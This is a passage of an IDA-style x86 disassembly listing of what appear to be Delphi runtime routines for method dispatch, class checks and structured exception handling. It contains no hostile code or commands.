		pop	ebx
		retn
sub_40003CF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003D4C	proc near		; CODE XREF: sub_40003C9C+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax


loc_40003D52:				; CODE XREF: sub_40003D4C+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_40003D65
		call	sub_400052C8
		mov	eax, ebx


loc_40003D65:				; CODE XREF: sub_40003D4C+10j
		test	esi, esi
		jnz	short loc_40003D52
		pop	esi
		pop	ebx
		retn
sub_40003D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003D6C	proc near		; CODE XREF: sub_40003D9C+59p
		xchg	edx, ecx
		cmp	ecx, 0FF000000h
		jnb	short loc_40003D87
		cmp	ecx, 0FE000000h
		jb	short loc_40003D85
		movsx	ecx, cx
		add	ecx, [eax]
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------


loc_40003D85:				; CODE XREF: sub_40003D6C+10j
		jmp	ecx
; ---------------------------------------------------------------------------


loc_40003D87:				; CODE XREF: sub_40003D6C+8j
		and	ecx, 0FFFFFFh
		add	ecx, eax
		mov	eax, edx
		mov	edx, [ecx]
		jmp	sub_4000621C
sub_40003D6C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003D9C	proc near		; CODE XREF: .text:40006283p
					; sub_400123C8+A0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40003E20
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[esi], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edi]
		call	sub_40003E30
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40003E04
		mov	eax, [ebx+14h]
		test	eax, eax
		jz	short loc_40003DED
		add	edi, eax
		mov	[esi], edi
		cmp	dword ptr [esi], 0
		jz	short loc_40003E04
		mov	eax, [esi]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+4]
		jmp	short loc_40003E04
; ---------------------------------------------------------------------------


loc_40003DED:				; CODE XREF: sub_40003D9C+3Cj
		lea	ecx, [ebp+var_8]
		mov	edx, [ebx+18h]
		mov	eax, edi
		call	sub_40003D6C
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_4000621C


loc_40003E04:				; CODE XREF: sub_40003D9C+35j
					; sub_40003D9C+45j ...
		cmp	dword ptr [esi], 0
		setnz	bl
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40003E27


loc_40003E17:				; CODE XREF: sub_40003D9C+89j
		lea	eax, [ebp+var_8]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_40003E20:				; DATA XREF: sub_40003D9C+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40003E17
; ---------------------------------------------------------------------------


loc_40003E27:				; CODE XREF: sub_40003D9C+83j
					; DATA XREF: sub_40003D9C+76o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40003D9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003E30	proc near		; CODE XREF: sub_40003D9C+2Cp
		push	ebx
		push	esi
		mov	ebx, eax


loc_40003E34:				; CODE XREF: sub_40003E30+3Dj
		mov	eax, [ebx-48h]
		test	eax, eax
		jz	short loc_40003E64
		mov	ecx, [eax]
		add	eax, 4


loc_40003E40:				; CODE XREF: sub_40003E30+32j
		mov	esi, [edx]
		cmp	esi, [eax]
		jnz	short loc_40003E5E
		mov	esi, [edx+4]
		cmp	esi, [eax+4]
		jnz	short loc_40003E5E
		mov	esi, [edx+8]
		cmp	esi, [eax+8]
		jnz	short loc_40003E5E
		mov	esi, [edx+0Ch]
		cmp	esi, [eax+0Ch]
		jz	short loc_40003E71


loc_40003E5E:				; CODE XREF: sub_40003E30+14j
					; sub_40003E30+1Cj ...
		add	eax, 1Ch
		dec	ecx
		jnz	short loc_40003E40


loc_40003E64:				; CODE XREF: sub_40003E30+9j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_40003E6F
		mov	ebx, [ebx]
		jmp	short loc_40003E34
; ---------------------------------------------------------------------------


loc_40003E6F:				; CODE XREF: sub_40003E30+39j
		xor	eax, eax


loc_40003E71:				; CODE XREF: sub_40003E30+2Cj
		pop	esi
		pop	ebx
		retn
sub_40003E30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40003E74	proc near		; CODE XREF: sub_4000ADE0+A8p
					; sub_4000B654+94p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40003E8B
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_40003EE0
		test	al, al
		jnz	short loc_40003E90


loc_40003E8B:				; CODE XREF: sub_40003E74+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003E90:				; CODE XREF: sub_40003E74+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40003E74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003E98	proc near		; CODE XREF: sub_40003EC8+4p
					; sub_40003F08+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_40003E9E
; ---------------------------------------------------------------------------


loc_40003E9C:				; CODE XREF: sub_40003E98+1Fj
		mov	esi, [esi]


loc_40003E9E:				; CODE XREF: sub_40003E98+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_40003EB2
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_40003EBB
		pop	ecx


loc_40003EB2:				; CODE XREF: sub_40003E98+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_40003E9C
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40003EBB:				; CODE XREF: sub_40003E98+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_40003E98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003EC8	proc near		; CODE XREF: sub_40013C30+43p
					; sub_40013C30+52p ...
		push	eax
		push	ecx
		mov	eax, [eax]
		call	sub_40003E98
		pop	ecx
		pop	eax
		jz	short loc_40003ED7
		jmp	esi
; ---------------------------------------------------------------------------


loc_40003ED7:				; CODE XREF: sub_40003EC8+Bj
		pop	ecx
		jmp	sub_400030B4
sub_40003EC8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003EE0	proc near		; CODE XREF: sub_40003E74+Ep
		jmp	short loc_40003EE4
; ---------------------------------------------------------------------------


loc_40003EE2:				; CODE XREF: sub_40003EE0+Dj
		mov	eax, [eax]


loc_40003EE4:				; CODE XREF: sub_40003EE0j
		cmp	eax, edx
		jz	short loc_40003EF0
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_40003EE2
		retn
; ---------------------------------------------------------------------------


loc_40003EF0:				; CODE XREF: sub_40003EE0+6j
		mov	al, 1
		retn
sub_40003EE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003EF4	proc near		; DATA XREF: .text:40001048o
					; .text:4000110Co ...
		mov	eax, 8000FFFFh
		retn
sub_40003EF4	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003F08	proc near		; DATA XREF: .text:40001054o
					; .text:40001118o ...
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_40003F28
		cmp	si, 0C000h
		jnb	short loc_40003F28
		push	eax
		mov	eax, [eax]
		call	sub_40003E98
		pop	eax
		jz	short loc_40003F28
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------


loc_40003F28:				; CODE XREF: sub_40003F08+7j
					; sub_40003F08+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_40003F08	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003F30	proc near		; CODE XREF: sub_40003CB8+7p
					; sub_4000B030+Ap ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_40003F3A
		call	dword ptr [eax-0Ch]


loc_40003F3A:				; CODE XREF: sub_40003F30+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_40003F59
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_40003F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40003F59	proc near		; DATA XREF: sub_40003F30+18o
		jmp	sub_400040D8
sub_40003F59	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_40003F77
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_40003F80


loc_40003F77:				; CODE XREF: .text:40003F67j
		call	sub_4000430C
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003F80	proc near		; CODE XREF: sub_40003CD8+9p
					; .text:40003F72p ...
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_40003F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40003F88	proc near		; CODE XREF: sub_40003CB8+10p
					; sub_4000B030+25p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_40003FB7
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, [ebp+var_4]
		pop	large dword ptr	fs:0
		add	esp, 8
		jmp	short loc_40003FD0
; ---------------------------------------------------------------------------


loc_40003FB7:				; DATA XREF: sub_40003F88+Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	dl, 1
		mov	eax, [ebp+var_4]
		call	sub_40003FD8
		call	sub_4000430C
		call	sub_40004360


loc_40003FD0:				; CODE XREF: sub_40003F88+2Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40003F88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003FD8	proc near		; CODE XREF: sub_40003CD8p
					; sub_40003F88+39p ...
		test	dl, dl
		jg	short loc_40003FDD
		retn
; ---------------------------------------------------------------------------


loc_40003FDD:				; CODE XREF: sub_40003FD8+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_40003FD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003FE8	proc near		; CODE XREF: sub_4000430C+35p
		cmp	byte_4001A028, 1
		jbe	short locret_40004002
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_4001C014

locret_40004002:			; CODE XREF: sub_40003FE8+7j
		retn
sub_40003FE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004004	proc near		; CODE XREF: sub_400040D8+4Dp
		cmp	byte_4001A028, 0
		jz	short locret_40004024
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_4001C014
		add	esp, 8
		pop	eax

locret_40004024:			; CODE XREF: sub_40004004+7j
		retn
sub_40004004	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40004040


loc_40004028:				; CODE XREF: sub_40004040+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_4001C014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40004040
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004040	proc near		; CODE XREF: sub_400040D8+FDp

; FUNCTION CHUNK AT 40004028 SIZE 00000015 BYTES

		cmp	byte_4001A028, 1
		jbe	short locret_40004050
		push	eax
		push	ebx
		jmp	loc_40004028
; ---------------------------------------------------------------------------

locret_40004050:			; CODE XREF: sub_40004040+7j
		retn
sub_40004040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004054	proc near		; CODE XREF: sub_40004074+Cp
		test	ecx, ecx
		jz	short locret_40004071
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_4000406C
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_40004071
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_4000406F
; ---------------------------------------------------------------------------


loc_4000406C:				; CODE XREF: sub_40004054+Aj
		add	ecx, 5


loc_4000406F:				; CODE XREF: sub_40004054+16j
		add	ecx, eax

locret_40004071:			; CODE XREF: sub_40004054+2j
					; sub_40004054+Fj
		retn
sub_40004054	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004074	proc near		; CODE XREF: sub_40016280-12027p
					; sub_400042AC+25p
		cmp	byte_4001A028, 1
		jbe	short locret_4000409A
		push	eax
		push	edx
		push	ecx
		call	sub_40004054
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_4001C014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_4000409A:			; CODE XREF: sub_40004074+7j
		retn
sub_40004074	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000409C	proc near		; CODE XREF: sub_40004360+28p
		cmp	byte_4001A028, 1
		jbe	short locret_400040B7
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_4001C014
		pop	edx

locret_400040B7:			; CODE XREF: sub_4000409C+7j
		retn
sub_4000409C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400040B8	proc near		; CODE XREF: .text:loc_400044A5p
		push	eax
		push	edx
		cmp	byte_4001A028, 1
		jbe	short loc_400040D3
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_4001C014


loc_400040D3:				; CODE XREF: sub_400040B8+9j
		pop	edx
		pop	eax
		retn
sub_400040B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400040D8	proc near		; CODE XREF: sub_40003F59j
					; sub_40003F88:loc_40003FB7j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

		mov	eax, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_400041FC
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_40004165
		cld
		call	sub_40003C58
		mov	edx, ds:off_4001C010
		test	edx, edx
		jz	loc_400041FC
		call	edx ; sub_4000B654
		test	eax, eax
		jz	loc_400041FC
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_4000415C
		call	sub_40004004
		cmp	byte_4001A02C, 0
		jbe	short loc_4000415C
		cmp	byte_4001A028, 0
		ja	short loc_4000415C
		lea	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_400041FC
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]
		jmp	short loc_4000418C
; ---------------------------------------------------------------------------


loc_4000415C:				; CODE XREF: sub_400040D8+4Bj
					; sub_400040D8+59j ...
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]


loc_40004165:				; CODE XREF: sub_400040D8+1Dj
		cmp	byte_4001A02C, 1
		jbe	short loc_4000418C
		cmp	byte_4001A028, 0
		ja	short loc_4000418C
		push	eax
		lea	eax, [esp+4+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_400041FC


loc_4000418C:				; CODE XREF: sub_400040D8+82j
					; sub_400040D8+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_4]
		push	0
		push	eax
		push	offset loc_400041B0
		push	edx
		call	ds:off_4001C018


loc_400041B0:				; DATA XREF: sub_400040D8+CCo
		mov	edi, [esp+arg_24]
		call	sub_40006428
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_400041DC
		add	ebx, 5
		call	sub_40004040
		jmp	ebx
; ---------------------------------------------------------------------------


loc_400041DC:				; DATA XREF: sub_400040D8+F3o
		jmp	sub_400042AC
; ---------------------------------------------------------------------------
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_40003CE8
; ---------------------------------------------------------------------------


loc_400041FC:				; CODE XREF: sub_400040D8+Bj
					; sub_400040D8+2Dj ...
		mov	eax, 1
		retn
sub_400040D8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_40016280


loc_40004204:				; CODE XREF: sub_40003B94:loc_40003C05j
					; sub_40003D9C:loc_40003E20j ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jz	loc_400042A4
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		push	ebp
		push	offset sub_40004284
		push	dword ptr fs:[ebx]
		mov	fs:[ebx], esp
		mov	ebx, fs:[ebx]
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edi, [esp+28h+arg_4]
		call	sub_40006428
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ecx, [edi+4]
		mov	ebp, [edi+8]
		mov	dword ptr [edi+4], offset sub_40004284
		add	ecx, 5
		call	sub_40004074
		call	ecx
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		add	esp, 14h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	short loc_400042A4
; END OF FUNCTION CHUNK	FOR sub_40016280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40004284	proc near		; DATA XREF: sub_40016280-12064o
					; sub_40016280-12031o
		jmp	sub_400042AC
sub_40004284	endp

; ---------------------------------------------------------------------------
		call	sub_40006428
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_40003CE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40016280


loc_400042A4:				; CODE XREF: sub_40016280-12071j
					; sub_40016280-11FFEj
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_40016280
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400042AC	proc near		; CODE XREF: sub_400040D8:loc_400041DCj
					; sub_40004284j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [esp+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_400042DC
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_400042DC
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_40004074
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_400042DC:				; CODE XREF: sub_400042AC+Fj
					; DATA XREF: sub_400042AC+14o
		mov	eax, 1
		retn
sub_400042AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400042E4	proc near		; CODE XREF: sub_40007998+19p
					; sub_4000B2B0+49j ...
		or	eax, eax
		jnz	short loc_400042F2
		mov	eax, 0D8h
		call	sub_40004878
; ---------------------------------------------------------------------------


loc_400042F2:				; CODE XREF: sub_400042E4+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:off_4001C014
sub_400042E4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000430C	proc near		; CODE XREF: .text:loc_40003F77p
					; sub_40003F88+3Ep ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_40004357
		call	sub_40006428
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_40004346
		mov	eax, [edx+8]
		call	sub_40003CE8
		call	sub_40003FE8


loc_40004346:				; CODE XREF: sub_4000430C+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_40004357:				; DATA XREF: sub_4000430C+4o
		mov	eax, 1
		retn
sub_4000430C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004360	proc near		; CODE XREF: sub_40003F88+43p
					; sub_40004518+58p ...

arg_2C		= dword	ptr  30h

		call	sub_40006428
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_40003CE8
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_4000409C
		jmp	edx
sub_40004360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40004390:				; CODE XREF: .text:40004490j
					; .text:4000449Cj
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_400043CB
		jz	short loc_400043FD
		cmp	eax, 0C000008Eh
		jg	short loc_400043BD
		jz	short loc_40004401
		sub	eax, 0C0000005h
		jz	short loc_4000440D
		sub	eax, 87h
		jz	short loc_400043F5
		dec	eax
		jz	short loc_40004409
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043BD:				; CODE XREF: .text:400043A6j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_400043FD
		jz	short loc_400043F9
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043CB:				; CODE XREF: .text:4000439Dj
		cmp	eax, 0C0000096h
		jg	short loc_400043E3
		jz	short loc_40004411
		sub	eax, 0C0000093h
		jz	short loc_40004409
		dec	eax
		jz	short loc_400043F1
		dec	eax
		jz	short loc_40004405
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043E3:				; CODE XREF: .text:400043D0j
		sub	eax, 0C00000FDh
		jz	short loc_40004419
		sub	eax, 3Dh
		jz	short loc_40004415
		jmp	short loc_4000441D
; ---------------------------------------------------------------------------


loc_400043F1:				; CODE XREF: .text:400043DCj
		mov	al, 0C8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043F5:				; CODE XREF: .text:400043B6j
		mov	al, 0C9h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043F9:				; CODE XREF: .text:400043C7j
		mov	al, 0CDh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_400043FD:				; CODE XREF: .text:4000439Fj
					; .text:400043C5j
		mov	al, 0CFh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004401:				; CODE XREF: .text:400043A8j
		mov	al, 0C8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004405:				; CODE XREF: .text:400043DFj
		mov	al, 0D7h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004409:				; CODE XREF: .text:400043B9j
					; .text:400043D9j
		mov	al, 0CEh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_4000440D:				; CODE XREF: .text:400043AFj
		mov	al, 0D8h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004411:				; CODE XREF: .text:400043D2j
		mov	al, 0DAh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004415:				; CODE XREF: .text:400043EDj
		mov	al, 0D9h
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_40004419:				; CODE XREF: .text:400043E8j
		mov	al, 0CAh
		jmp	short loc_4000441F
; ---------------------------------------------------------------------------


loc_4000441D:				; CODE XREF: .text:400043BBj
					; .text:400043C9j ...
		mov	al, 0FFh


loc_4000441F:				; CODE XREF: .text:400043F3j
					; .text:400043F7j ...
		movzx	eax, al
		mov	edx, [edx+0Ch]
		call	sub_40002CF8
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h


loc_40004430:				; DATA XREF: sub_400044D0+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_400044CA
		cmp	byte_4001A028, 0
		ja	short loc_40004459
		lea	eax, [esp+4]
		push	eax
		call	sub_40001190	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_400044CA


loc_40004459:				; CODE XREF: .text:40004448j
		mov	eax, [esp+4]
		cld
		call	sub_40003C58
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_40004476
		push	edx
		call	ds:off_4001C018


loc_40004476:				; DATA XREF: .text:4000446Ao
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_400044A5
		mov	edx, ds:off_4001C010
		test	edx, edx
		jz	loc_40004390
		mov	eax, ebx
		call	edx ; sub_4000B654
		test	eax, eax
		jz	loc_40004390
		mov	edx, [ebx+0Ch]


loc_400044A5:				; CODE XREF: .text:40004486j
		call	sub_400040B8
		mov	ecx, ds:off_4001C004
		test	ecx, ecx
		jz	short loc_400044B6
		call	ecx ; sub_4000B71C


loc_400044B6:				; CODE XREF: .text:400044B2j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_40004878
; ---------------------------------------------------------------------------


loc_400044CA:				; CODE XREF: .text:4000443Bj
					; .text:40004457j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400044D0	proc near		; CODE XREF: sub_400045E4+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_40004430
		mov	[eax+8], ebp
		mov	ds:dword_4001E7CC, eax
		retn
sub_400044D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400044F0	proc near		; CODE XREF: sub_40004790:loc_4000481Dp
		xor	edx, edx
		mov	eax, ds:dword_4001E7CC
		test	eax, eax
		jz	short locret_40004517
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_4000450A
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_40004508:				; CODE XREF: sub_400044F0+21j
		mov	ecx, [ecx]


loc_4000450A:				; CODE XREF: sub_400044F0+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_40004517
		cmp	[ecx], eax
		jnz	short loc_40004508
		mov	eax, [eax]
		mov	[ecx], eax

locret_40004517:			; CODE XREF: sub_400044F0+9j
					; sub_400044F0+1Dj
		retn
sub_400044F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40004518	proc near		; CODE XREF: sub_40004518+4Ep
					; sub_4000457C+52p ...
